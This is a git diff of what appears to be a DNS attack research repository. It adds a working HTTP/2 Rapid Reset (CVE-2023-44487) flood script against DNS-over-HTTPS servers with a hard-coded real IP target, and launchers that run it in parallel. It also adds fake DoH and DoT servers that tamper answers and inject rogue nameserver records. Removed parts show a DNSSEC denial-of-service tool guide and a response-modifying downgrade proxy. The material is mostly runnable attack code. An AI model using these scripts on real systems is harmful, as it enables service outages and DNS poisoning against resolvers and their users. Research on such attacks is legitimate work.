'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/' - df = pd.read_csv(path+'fastly_att.csv',nrows=64) - data = df.set_index('ip')['latency'].to_dict() - event = threading.Event() - s_time = time.time() - #stime = time.perf_counter() - stime = float(args.stime) - round = int(args.round) - wait_time = int(args.wait) - threads = [] - for i in range(round): - for ip, latency in data.items(): - t = threading.Thread(target=send_request, args=(event,ip, i, latency,stime)) - t.start() - threads.append(t) - #time.sleep(latency) - start_time = time.perf_counter() - # while time.perf_counter() - start_time < 0.1: - # pass - print('all waiting') - while time.perf_counter() - stime < wait_time: - pass - # 触发事件,同时释放所有线程 - event.set() - # 等待所有线程完成 - for t in threads: - t.join() - print('ATT over:',time.time() - s_time) - #for i in tqdm.tqdm(range(1000)): - #send_request("151.101.76.204",0,0,0) - - - diff --git a/att script/7/cve44487.py b/att script/7/cve44487.py new file mode 100644 index 0000000..5154f06 --- /dev/null +++ b/att script/7/cve44487.py @@ -0,0 +1,152 @@ +import random +import ssl +import string +import sys +import csv +import socket +import argparse +import time +import dns.message +from datetime import datetime +from urllib.parse import urlparse +from http.client import HTTPConnection, HTTPSConnection +import base64 +from dns.message import make_query +import tqdm +from h2.connection import H2Connection +from h2.config import H2Configuration +import h2.events +import httpx +import requests +import asyncio +import warnings + +warnings.filterwarnings("ignore") +async def multi_h2(id_start,conn,h2_conn,host,dns_req): + for stream_id in tqdm.tqdm(range(id_start,id_start+1000000,2)): + #print('stream_id',stream_id) + headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), + (':path', '/dns-query' + '?dns=' + dns_req), + ("accept", "application/dns-message"), + ("content-type", "application/dns-message")] + #print(headers) + h2_conn.send_headers(stream_id, headers) + conn.send(h2_conn.data_to_send()) + + h2_conn.reset_stream(stream_id) + conn.send(h2_conn.data_to_send()) + + + + +def send_rst_stream_h2(host, sid,port=443, uri_path='/dns-query', timeout=5, proxy=None): + """ + Send an RST_STREAM frame to the given host and port. + Parameters: + host (str): The hostname. + port (int): The port number. + stream_id (int): The stream ID to reset. + uri_path (str): The URI path for the GET request. + timeout (int): The timeout in seconds for the socket connection. + proxy (str): The proxy URL, if any. + Returns: + tuple: (status, message) + status: 1 if successful, 0 if no response, -1 otherwise. + message: Additional information or error message. + """ + + body = make_query(qname="baidu.com", rdtype="A", want_dnssec=False).to_wire() + + #try: + # Create an SSL context to ignore SSL certificate verification + ssl_context = ssl.create_default_context(purpose=ssl.Purpose.SERVER_AUTH) + ssl_context.options |= ( + ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3 | ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 + ) + ssl_context.options |= ssl.OP_NO_COMPRESSION + ssl_context.set_ciphers("ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20") + ssl_context.set_alpn_protocols(['h2']) + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + # Create a connection based on whether a proxy is used + conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context) + conn.connect() + #time.sleep(2) + # Initiate HTTP/2 connection + config = H2Configuration(client_side=True) + h2_conn = H2Connection(config=config) + h2_conn.initiate_connection() + conn.send(h2_conn.data_to_send()) + #time.sleep(2) + # Send GET request headers + #time.sleep(2) + # Listen for frames and send RST_STREAM when appropriate + #print(sid) + flag = 0 + s_time = time.time() + #for stream_id in tqdm.tqdm(range(sid*999999,sid*999999+1000000,2)): + for stream_id in range(sid * 999999, sid * 999999 + 200000, 2): + # flag += 1 + # if time.time()-s_time>1: + # print(flag) + # break + # if flag>50: + # data = conn.sock.recv(65535) + # start_time = time.perf_counter() + # while time.perf_counter() - start_time < 0.1: + # pass + #flag = 0 + #print('stream_id',stream_id) + suff = base64.b64encode(str(stream_id).encode("utf-8")).decode("utf-8")+ ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + message = dns.message.make_query(f"{suff}.www.baidu.com", "A") + message.flags |= dns.flags.RD + dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=") + + headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), + (':path', uri_path + '?dns=' + dns_req), + ("accept", "application/dns-message"), + ("content-type", "application/dns-message")] + + # headers = [(':method', 'POST'), (':authority', host), (':scheme', 'https'), + # (':path', uri_path), + # ("accept", "application/dns-message"), + # ("content-type", "application/dns-message")] + #print(headers) + h2_conn.send_headers(stream_id, headers) + conn.send(h2_conn.data_to_send()) + # h2_conn.send_data(stream_id, body) + # conn.send(h2_conn.data_to_send()) + h2_conn.end_stream(stream_id) + conn.send(h2_conn.data_to_send()) + # data = conn.sock.recv(100) + # events = h2_conn.receive_data(data) + # print('events:\n', events) + # start_time = time.perf_counter() + # while time.perf_counter() - start_time < 0.05: + # pass + h2_conn.reset_stream(stream_id) + conn.send(h2_conn.data_to_send()) + + + #break + conn.close() + return ("over") + # except Exception as e: + # print('error------------') + # return (-1, f"send_rst_stream_h2 ---- {e}") + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument('-s', '--sid',default=1) + args = parser.parse_args() + + targets = ["8.218.236.77"] + #targets = ['108.61.195.177'] + for i in targets: + + now = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + print(now,f"Checking {i}...", file=sys.stderr) + send_rst_stream_h2(i,int(args.sid)) + #print("send rst stream:", resp, err2) + diff --git a/att script/7/start_pending.py b/att script/7/start_pending.py deleted file mode 100644 index 5e7edf0..0000000 --- a/att script/7/start_pending.py +++ /dev/null @@ -1,20 +0,0 @@ -import os -import argparse -import time - -parser = argparse.ArgumentParser() -parser.add_argument('-n', '--n', default=3) -parser.add_argument('-round', '--round', default=5) -parser.add_argument('-wait', '--wait', default=150) -args = parser.parse_args() -stime = time.perf_counter() -round = int(args.round) -wait_time = int(args.wait) -for i in range(int(args.n)): - #print(f"python3 cve44487.py -s {i}") - os.popen(f"python att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}") -while True: - current_time = time.perf_counter() - elapsed_time = current_time - stime - print(f"经过的时间:{elapsed_time:.2f}秒", end="\r") - time.sleep(1) # 暂停一秒钟 \ No newline at end of file diff --git a/att script/7/start_reset_att.py b/att script/7/start_reset_att.py new file mode 100644 index 0000000..b61fc2d --- /dev/null +++ b/att script/7/start_reset_att.py @@ -0,0 +1,26 @@ +import argparse +import os +import time + +parser = argparse.ArgumentParser() +parser.add_argument('-n', '--n', default=1) +args = parser.parse_args() + +streams = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19,21,23,25,27,29,31] +for i in streams[:int(args.n)]: + #print(f"python3 cve44487.py -s {i}") + os.popen(f"python cve44487.py -s {i}") + +# for j in range(100): +# for i in streams[:int(args.n)]: +# # #print(f"python3 cve44487.py -s {i}") +# os.popen(f"python cve44487.py -s {i}") +# start_time = time.perf_counter() +# while time.perf_counter() - start_time < 0.1: +# pass +# for i in streams[int(args.n):]: +# # #print(f"python3 cve44487.py -s {i}") +# os.popen(f"python cve44487.py -s {i}") +# start_time = time.perf_counter() +# while time.perf_counter() - start_time < 1: +# pass \ No newline at end of file diff --git "a/att script/7/\350\204\211\345\206\262\346\213\222\347\273\235\346\234\215\345\212\241.pdf" "b/att script/7/\350\204\211\345\206\262\346\213\222\347\273\235\346\234\215\345\212\241.pdf" deleted file mode 100644 index 9f938c9..0000000 Binary files "a/att script/7/\350\204\211\345\206\262\346\213\222\347\273\235\346\234\215\345\212\241.pdf" and /dev/null differ diff --git a/att script/8/10/.gitkeep b/att script/8/10/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git "a/att script/8/DoH\346\225\260\346\215\256\347\257\241\346\224\271.pdf" "b/att script/8/DoH\346\225\260\346\215\256\347\257\241\346\224\271.pdf" new file mode 100644 index 0000000..a5237fa Binary files /dev/null and "b/att script/8/DoH\346\225\260\346\215\256\347\257\241\346\224\271.pdf" differ diff --git "a/att script/8/HTTP2\345\277\253\351\200\237\351\207\215\347\275\256\346\213\222\347\273\235\346\234\215\345\212\241.pdf" "b/att script/8/HTTP2\345\277\253\351\200\237\351\207\215\347\275\256\346\213\222\347\273\235\346\234\215\345\212\241.pdf" deleted file mode 100644 index b9198d5..0000000 Binary files "a/att script/8/HTTP2\345\277\253\351\200\237\351\207\215\347\275\256\346\213\222\347\273\235\346\234\215\345\212\241.pdf" and /dev/null differ diff --git a/att script/8/cve44487.py b/att script/8/cve44487.py deleted file mode 100644 index 5154f06..0000000 --- a/att script/8/cve44487.py +++ /dev/null @@ -1,152 +0,0 @@ -import random -import ssl -import string -import sys -import csv -import socket -import argparse -import time -import dns.message -from datetime import datetime -from urllib.parse import urlparse -from http.client import HTTPConnection, HTTPSConnection -import base64 -from dns.message import make_query -import tqdm -from h2.connection import H2Connection -from h2.config import H2Configuration -import h2.events -import httpx -import requests -import asyncio -import warnings - -warnings.filterwarnings("ignore") -async def multi_h2(id_start,conn,h2_conn,host,dns_req): - for stream_id in tqdm.tqdm(range(id_start,id_start+1000000,2)): - #print('stream_id',stream_id) - headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), - (':path', '/dns-query' + '?dns=' + dns_req), - ("accept", "application/dns-message"), - ("content-type", "application/dns-message")] - #print(headers) - h2_conn.send_headers(stream_id, headers) - conn.send(h2_conn.data_to_send()) - - h2_conn.reset_stream(stream_id) - conn.send(h2_conn.data_to_send()) - - - - -def send_rst_stream_h2(host, sid,port=443, uri_path='/dns-query', timeout=5, proxy=None): - """ - Send an RST_STREAM frame to the given host and port. - Parameters: - host (str): The hostname. - port (int): The port number. - stream_id (int): The stream ID to reset. - uri_path (str): The URI path for the GET request. - timeout (int): The timeout in seconds for the socket connection. - proxy (str): The proxy URL, if any. - Returns: - tuple: (status, message) - status: 1 if successful, 0 if no response, -1 otherwise. - message: Additional information or error message. - """ - - body = make_query(qname="baidu.com", rdtype="A", want_dnssec=False).to_wire() - - #try: - # Create an SSL context to ignore SSL certificate verification - ssl_context = ssl.create_default_context(purpose=ssl.Purpose.SERVER_AUTH) - ssl_context.options |= ( - ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3 | ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 - ) - ssl_context.options |= ssl.OP_NO_COMPRESSION - ssl_context.set_ciphers("ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20") - ssl_context.set_alpn_protocols(['h2']) - ssl_context.check_hostname = False - ssl_context.verify_mode = ssl.CERT_NONE - - # Create a connection based on whether a proxy is used - conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context) - conn.connect() - #time.sleep(2) - # Initiate HTTP/2 connection - config = H2Configuration(client_side=True) - h2_conn = H2Connection(config=config) - h2_conn.initiate_connection() - conn.send(h2_conn.data_to_send()) - #time.sleep(2) - # Send GET request headers - #time.sleep(2) - # Listen for frames and send RST_STREAM when appropriate - #print(sid) - flag = 0 - s_time = time.time() - #for stream_id in tqdm.tqdm(range(sid*999999,sid*999999+1000000,2)): - for stream_id in range(sid * 999999, sid * 999999 + 200000, 2): - # flag += 1 - # if time.time()-s_time>1: - # print(flag) - # break - # if flag>50: - # data = conn.sock.recv(65535) - # start_time = time.perf_counter() - # while time.perf_counter() - start_time < 0.1: - # pass - #flag = 0 - #print('stream_id',stream_id) - suff = base64.b64encode(str(stream_id).encode("utf-8")).decode("utf-8")+ ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) - message = dns.message.make_query(f"{suff}.www.baidu.com", "A") - message.flags |= dns.flags.RD - dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=") - - headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), - (':path', uri_path + '?dns=' + dns_req), - ("accept", "application/dns-message"), - ("content-type", "application/dns-message")] - - # headers = [(':method', 'POST'), (':authority', host), (':scheme', 'https'), - # (':path', uri_path), - # ("accept", "application/dns-message"), - # ("content-type", "application/dns-message")] - #print(headers) - h2_conn.send_headers(stream_id, headers) - conn.send(h2_conn.data_to_send()) - # h2_conn.send_data(stream_id, body) - # conn.send(h2_conn.data_to_send()) - h2_conn.end_stream(stream_id) - conn.send(h2_conn.data_to_send()) - # data = conn.sock.recv(100) - # events = h2_conn.receive_data(data) - # print('events:\n', events) - # start_time = time.perf_counter() - # while time.perf_counter() - start_time < 0.05: - # pass - h2_conn.reset_stream(stream_id) - conn.send(h2_conn.data_to_send()) - - - #break - conn.close() - return ("over") - # except Exception as e: - # print('error------------') - # return (-1, f"send_rst_stream_h2 ---- {e}") - -if __name__ == "__main__": - parser = argparse.ArgumentParser() - parser.add_argument('-s', '--sid',default=1) - args = parser.parse_args() - - targets = ["8.218.236.77"] - #targets = ['108.61.195.177'] - for i in targets: - - now = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - print(now,f"Checking {i}...", file=sys.stderr) - send_rst_stream_h2(i,int(args.sid)) - #print("send rst stream:", resp, err2) - diff --git a/att script/8/fake_DoH.py b/att script/8/fake_DoH.py new file mode 100644 index 0000000..02f3829 --- /dev/null +++ b/att script/8/fake_DoH.py @@ -0,0 +1,63 @@ +import argparse +import base64 +import ssl +import dns.asyncquery +import dns.rcode +import aiohttp +import dns.message +import dns.rrset +from aiohttp import web + +DNS_SERVER_ADDRESS = '223.5.5.5' +DNS_SERVER_PORT = 53 + +async def doh_handler(request): + if request.method == "GET": + rquery = str(request.query).split(' ')[1] + #print(rquery) + rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=") + doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8"))) + else: + try: + doh_request = dns.message.from_wire(await request.read()) + except : + return web.Response(text='Invalid DNS request', status=400) + + dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype) + dns_request.id = doh_request.id + # 发起DNS请求 + dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS) + #print(dns_response) + + if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1: + print('---tamper---',tamper) + dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')] + if str(doh_request.question[0].name) == inject: + print('---inject---',inject) + dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]), + dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)] + #print(dns_response) + # 构建HTTPS响应 + response = web.Response(body=dns_response.to_wire()) + response.content_type = 'application/dns-message' + return response + + +parser = argparse.ArgumentParser() +parser.add_argument('-tamper', '--tamper', default='') +parser.add_argument('-inject', '--inject', default='') +parser.add_argument('-ns', '--ns', default='39.106.44.126') +args = parser.parse_args() +tamper = args.tamper +'.' +inject = args.inject +'.' +ns = args.ns +#print('tamper:',tamper) +DOH_SERVER_URL = "https://dns.alidns.com/dns-query" +CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" +KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" +ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) +ssl_context.load_cert_chain(CERT_FILE, KEY_FILE) +app = web.Application() +app.router.add_get(path='/dns-query',handler=doh_handler) +app.router.add_post(path='/dns-query',handler=doh_handler) +web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context) \ No newline at end of file diff --git a/att script/8/start_reset_att.py b/att script/8/start_reset_att.py deleted file mode 100644 index b61fc2d..0000000 --- a/att script/8/start_reset_att.py +++ /dev/null @@ -1,26 +0,0 @@ -import argparse -import os -import time - -parser = argparse.ArgumentParser() -parser.add_argument('-n', '--n', default=1) -args = parser.parse_args() - -streams = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19,21,23,25,27,29,31] -for i in streams[:int(args.n)]: - #print(f"python3 cve44487.py -s {i}") - os.popen(f"python cve44487.py -s {i}") - -# for j in range(100): -# for i in streams[:int(args.n)]: -# # #print(f"python3 cve44487.py -s {i}") -# os.popen(f"python cve44487.py -s {i}") -# start_time = time.perf_counter() -# while time.perf_counter() - start_time < 0.1: -# pass -# for i in streams[int(args.n):]: -# # #print(f"python3 cve44487.py -s {i}") -# os.popen(f"python cve44487.py -s {i}") -# start_time = time.perf_counter() -# while time.perf_counter() - start_time < 1: -# pass \ No newline at end of file diff --git a/att script/9/10/.gitkeep b/att script/9/10/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git "a/att script/9/DoH\346\225\260\346\215\256\347\257\241\346\224\271.pdf" "b/att script/9/DoH\346\225\260\346\215\256\347\257\241\346\224\271.pdf" deleted file mode 100644 index a5237fa..0000000 Binary files "a/att script/9/DoH\346\225\260\346\215\256\347\257\241\346\224\271.pdf" and /dev/null differ diff --git "a/att script/9/DoT\346\225\260\346\215\256\347\257\241\346\224\271.pdf" "b/att script/9/DoT\346\225\260\346\215\256\347\257\241\346\224\271.pdf" new file mode 100644 index 0000000..d6acd8c Binary files /dev/null and "b/att script/9/DoT\346\225\260\346\215\256\347\257\241\346\224\271.pdf" differ diff --git a/att script/9/dot_stub.py b/att script/9/dot_stub.py new file mode 100644 index 0000000..3c35dc7 --- /dev/null +++ b/att script/9/dot_stub.py @@ -0,0 +1,45 @@ +import socket +import ssl +import dns.message +import dns.query +import dns.rcode +import argparse + +parser = argparse.ArgumentParser() +parser.add_argument('-dot', '--dot', default='dns.alidns.com') +args = parser.parse_args() +print(f'DoT server: {args.dot}') +upstream_server = '47.88.31.213' + +# 创建监听socket +listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +listener.bind(('127.0.0.1', 53)) + +# 创建TLS连接 +context = ssl.create_default_context() +context.check_hostname = False +context.verify_mode = ssl.CERT_NONE +while True: + # 接收DNS请求 + data, addr = listener.recvfrom(1024) + #print(dns.message.from_wire(data)) + data = dns.message.from_wire(data) + if 'baidu' in data.question.__str__(): + # print(data) + # print(addr) + print('DNS请求:', data.question) + # # 创建TLS连接并发送DNS请求到上游服务器 + resp = dns.query.tls( + q=data, + where=upstream_server, + timeout=10, + ssl_context=context) + print('DNS响应:', resp.answer) + # with socket.create_connection((upstream_server,853)) as sock: + # with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock: + # tls_sock.sendall(data.to_wire()) + # resp = tls_sock.recv(4096) + + # 将上游服务器的响应发送回客户端 + listener.sendto(resp.to_wire(), addr) + break diff --git a/att script/9/fake_DoH.py b/att script/9/fake_DoH.py deleted file mode 100644 index 02f3829..0000000 --- a/att script/9/fake_DoH.py +++ /dev/null @@ -1,63 +0,0 @@ -import argparse -import base64 -import ssl -import dns.asyncquery -import dns.rcode -import aiohttp -import dns.message -import dns.rrset -from aiohttp import web - -DNS_SERVER_ADDRESS = '223.5.5.5' -DNS_SERVER_PORT = 53 - -async def doh_handler(request): - if request.method == "GET": - rquery = str(request.query).split(' ')[1] - #print(rquery) - rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=") - doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8"))) - else: - try: - doh_request = dns.message.from_wire(await request.read()) - except : - return web.Response(text='Invalid DNS request', status=400) - - dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype) - dns_request.id = doh_request.id - # 发起DNS请求 - dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS) - #print(dns_response) - - if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1: - print('---tamper---',tamper) - dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')] - if str(doh_request.question[0].name) == inject: - print('---inject---',inject) - dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]), - dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)] - #print(dns_response) - # 构建HTTPS响应 - response = web.Response(body=dns_response.to_wire()) - response.content_type = 'application/dns-message' - return response - - -parser = argparse.ArgumentParser() -parser.add_argument('-tamper', '--tamper', default='') -parser.add_argument('-inject', '--inject', default='') -parser.add_argument('-ns', '--ns', default='39.106.44.126') -args = parser.parse_args() -tamper = args.tamper +'.' -inject = args.inject +'.' -ns = args.ns -#print('tamper:',tamper) -DOH_SERVER_URL = "https://dns.alidns.com/dns-query" -CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" -KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" -ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) -ssl_context.load_cert_chain(CERT_FILE, KEY_FILE) -app = web.Application() -app.router.add_get(path='/dns-query',handler=doh_handler) -app.router.add_post(path='/dns-query',handler=doh_handler) -web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context) \ No newline at end of file diff --git a/att script/9/fake_DoT.py b/att script/9/fake_DoT.py new file mode 100644 index 0000000..4e45754 --- /dev/null +++ b/att script/9/fake_DoT.py @@ -0,0 +1,63 @@ +import argparse +import asyncio +import ssl +import socket +import dns.asyncquery +import dns.message +import dns.rcode +import dns.flags +import dns.message +import dns.rrset +from dnslib import DNSRecord + +async def handle_client(reader, writer): + request_data = await reader.read(1024) + request = dns.message.from_wire(request_data[2:]) + #print(request) + dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype) + dns_request.id = request.id + #print(dns_request) + dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5') + #print(dns_response) + if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1: + print('---tamper---', tamper) + dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')] + if str(request.question[0].name) == inject: + print('---inject---', inject) + dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]), + dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)] + #print(dns_response) + + response_data = dns_response + record_header = len(response_data.to_wire()).to_bytes(2, 'big') + # 构建完整的TLS响应数据 + tls_response_data = record_header + response_data.to_wire() + writer.write(tls_response_data) + await writer.drain() + writer.close() + +async def start_server(): + # 配置服务器参数 + listen_address = '0.0.0.0' + listen_port = 853 + CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径 + KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径 + context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) + context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE) + # 创建TCP服务器 + server = await asyncio.start_server( + handle_client, listen_address, listen_port, ssl=context) + + print(f'DoT server listening on {listen_address}:{listen_port}') + async with server: + await server.serve_forever() + +parser = argparse.ArgumentParser() +parser.add_argument('-tamper', '--tamper', default='') +parser.add_argument('-inject', '--inject', default='') +parser.add_argument('-ns', '--ns', default='39.106.44.126') +args = parser.parse_args() +tamper = args.tamper +'.' +inject = args.inject +'.' +ns = args.ns +asyncio.run(start_server()) \ No newline at end of file diff --git a/att script/dnssec-ddos/ddos-topology.png b/att script/dnssec-ddos/ddos-topology.png deleted file mode 100644 index 846ff8c..0000000 Binary files a/att script/dnssec-ddos/ddos-topology.png and /dev/null differ diff --git a/att script/dnssec-ddos/dtool b/att script/dnssec-ddos/dtool deleted file mode 100644 index f6479fc..0000000 Binary files a/att script/dnssec-ddos/dtool and /dev/null differ diff --git a/att script/dnssec-ddos/rogue-ns b/att script/dnssec-ddos/rogue-ns deleted file mode 100644 index b01aec9..0000000 Binary files a/att script/dnssec-ddos/rogue-ns and /dev/null differ diff --git "a/att script/dnssec-ddos/\350\257\264\346\230\216.md" "b/att script/dnssec-ddos/\350\257\264\346\230\216.md" deleted file mode 100644 index e385ad7..0000000 --- "a/att script/dnssec-ddos/\350\257\264\346\230\216.md" +++ /dev/null @@ -1,73 +0,0 @@ -## 使用说明 - -### 基本目标 - -通过向目标域名解析服务器发送特定请求,使目标服务器服务质量下降或无法提供服务,形成拒绝服务攻击。 - -### 软件环境 - -DNSSEC拒绝服务攻击中共需要4种软件,如下表所示,其中主要测试对象为目录中的拒绝服务攻击工具dtool和辅助攻击工具rogue-ns,dig工具用于从客户端发起DNS查询并查看解析结果,docker用于运行必要的DNS服务器和监控组件容器。 - -| 软件名称 | 版本 | 作用 | 备注 | -| ------- | ---- | ---- | ---- | -|拒绝服务攻击工具|v1.0|发送拒绝服务攻击请求|| -|辅助攻击工具|v1.0|辅助进行拒绝服务攻击|| -|dig|9.11.36|发起DNS查询并查看解析结果|| -|docker|24.0.5|安装必要容器|| - -### 硬件环境 - -测试中共需要三台服务器A,B和C。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 - -|硬件名称|数量|配置|作用| -|---|---|---|---| -|公有云VPS|3|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| - -### 测试拓扑 - -测试拓扑如下图。 - -![](ddos-topology.png) - -### 部署方法 - -#### 目标及监控部署 - -在服务器B上通过docker安装BIND9容器作为攻击目标,安装cadvisor,prometheus和grafana进行服务器B的状态监控。 - -#### 拒绝服务攻击工具部署 - -将可执行文件dtool移动到服务器A上。 - -#### 辅助攻击工具部署 - -将可执行文件rogue-ns移动到服务器C上。 - -### 使用方法 - -#### 辅助攻击工具 - -|参数|说明|示例| -|---|---|---| -|-sld|攻击中使用的二级域名|echodns.xyz| - -#### 拒绝服务攻击工具 - -|参数|说明|示例| -|---|---|---| -|query|攻击中使用的二级域名|echodns.xyz| -|-p|目标端口|53| -|-d|攻击中使用的域名后缀|rogue.echodns.xyz| -|-R|是否进行域名随机生成,布尔型参数|| -|-r|发送请求速率|100| -|-n|发送请求总量|10000| - - -### 测试方法 - -1. 在服务器B上启动BIND9容器; -2. 在服务器C上执行命令`./rogue-ns -sld echodns.xyz`,启动辅助攻击工具; -3. 在服务器A上执行命令`./dtool query {ip} -p 5353 -R -d rogue.jtfgzlm.icu -r 300 -n 60000`,启动拒绝服务攻击脚本向目标进行攻击; -4. 通过服务器B上3000端口的grafana仪表盘监控目标状态; -5. 在服务器A上使用dig向目标进行DNS查询,通过解析时延和超时情况判断攻击效果。 - diff --git a/att script/dnssec-downgrade/downgrade-topology.png b/att script/dnssec-downgrade/downgrade-topology.png deleted file mode 100644 index 4198831..0000000 Binary files a/att script/dnssec-downgrade/downgrade-topology.png and /dev/null differ diff --git a/att script/dnssec-downgrade/proxy.py b/att script/dnssec-downgrade/proxy.py deleted file mode 100644 index 8b7b7cf..0000000 --- a/att script/dnssec-downgrade/proxy.py +++ /dev/null @@ -1,196 +0,0 @@ -# -*- coding: utf-8 -*- - -import socket -import dns.message -import dns.rdatatype -import dns.rdata -import dns.rdataclass -import binascii -import csv -import datetime - -from scapy.all import * - -#from crypto.PublicKey import Ed448 -#import dns.rdatatype - -# 定义代理服务器的地址和端口 -proxy_host = '10.0.8.14' # 代理服务器的IP地址 -proxy_port = 53 # 代理服务器的端口 -#proxy_port = 22 # 代理服务器的端口 - -# 定义上游DNS服务器的地址和端口 -upstream_host = '127.0.0.1' # 上游DNS服务器的IP地址 -upstream_port = 9999 # 上游DNS服务器的端口 - -csv_file = "dnssec_log.csv" - -def proxy_dns_request(request, client_addr, proxy_socket): - # 创建与上游DNS服务器的套接字连接 - upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - - # 发送DNS请求到上游DNS服务器 - upstream_socket.sendto(request, (upstream_host, upstream_port)) - - # 接收上游DNS服务器的响应 - response, _ = upstream_socket.recvfrom(4096) - - # 修改DNS应答中的字段 - modified_response = modify_dns_response(response,client_addr,len(request)) - #modified_response = response - - # 将修改后的DNS应答发送给客户端 - #client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - #client_socket.sendto(modified_response, client_addr) - proxy_socket.sendto(modified_response, client_addr) - # print("finish",client_addr) - # 关闭套接字连接 - upstream_socket.close() - #client_socket.close() - -def modify_dns_response(response,client_addr,len_request): - # 在这里添加你的修改逻辑 - # 解析DNS应答消息,并修改需要的字段 - # 可以使用dnspython等DNS库来解析和构造DNS消息 - # print("response ",response) - dns_response = dns.message.from_wire(response) - # print("dns_response ",dns_response) - qweasd = 0 - - packet = DNS(response) - # 解析DNS流量 - if DNS in packet: - dns1 = packet[DNS] - if dns1.qd[0].qtype != 1: - print("************No Change************") - return response - if dns1.ancount > 0: - print("Answers:") - for an in dns1.an: - print(" Name:", an.rrname.decode()) - print(" Type:", an.type) - #print(" Data:", an.rdata) - - for rrset in dns_response.answer: - if rrset.rdtype == dns.rdatatype.RRSIG and qweasd == 0 : - qweasd = 1 - current_time = datetime.now() - # with open(csv_file, "a", newline="") as file: - # writer = csv.writer(file) - # writer.writerow([client_addr, len_request, current_time]) - # print("dnssec_log.csv:",csv_file) - # new_rdata = dns.rdata.from_text(rrset.rdclass, rrset.rdtype, rrset.to_text()) - # new_rdata.algorithm = 16 # 设置为 5 或其他你想要的值 - - # 替换原始 RRSIG 记录 - # rrset.clear() - # rrset.add(new_rdata) - # for attrr in dir(rrset): - # print(attrr) -# print("rdata.algorithm",rrset.algorithm) - # new_rdata = dns.rdatatype.from_text(rdtype_text.replace(dns.rdatatype.RSASHA1,dns.rdatatype.ED448)) - # rrset.items = new_rdata - # print(rrset.items) - # print(rrset[1]) -# print(bin(rrset.items[1])) - # for qwe in rrset: - #print(qwe) - #print(type(qwe)," key: ",qwe," qweqweqweqweqwe ") - # for attrr in dir(qwe): - # print(attrr) - # qwe.algorithm = 16 - # 